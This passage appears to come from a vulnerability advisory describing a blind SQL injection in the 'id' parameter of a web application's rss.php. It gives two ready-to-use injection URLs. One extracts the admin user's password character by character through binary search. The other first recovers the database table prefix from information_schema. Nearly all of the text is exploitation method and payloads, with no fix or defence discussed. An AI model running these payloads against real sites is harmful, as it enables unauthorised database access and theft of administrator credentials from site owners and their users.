+--> Exploiting The (MySQL) Blind SQL Injection:
The GET parameter 'id' can be used for SQL injections while the other GET parameter 't'
be equal with 'vp' in the rss.php file.
The general SQL injection vector will be like this:
<url-to-site>/rss.php?t=vp&id=0'or(EXISTS
(SELECT * FROM otatf_users WHERE username='admin' AND SUBSTR(password,i,1)<'?')) --'
In the above vector 'id' is used to indicate the ID of the posts which must be returned
and (since there is no post with id of zero) the total query will be true (and the
resulting RSS page will not be empty) iff the subquery be true. Using above vector and
binary searching on '?' for each character 'i', the password of user admin can be extracted.
But the tables are protected by a prefix (in the above example the 'otatf_' is the prefix
and before using this vector we need to find the prefix by a similar manner. We can use
following vector for this purpose:
<url-to-site>/rss.php?t=vp&id=0'or(EXISTS
(SELECT * FROM (SELECT SUBSTRING(TABLE_NAME,1,LENGTH(TABLE_NAME)-8) AS PREFIX
FROM information_schema.TABLES where TABLE_SCHEMA=DATABASE() LIMIT 1) AS TMP
WHERE SUBSTR(PREFIX,i,1)<"?")) --'
In this vector, the inner query will the find name of the first table which for 'otatf_' prefix
will be 'otatf_adminlog' and extract the prefix part of it. The outer query will find characters
of this prefix by iterating over 'i' and binary searching on '?'.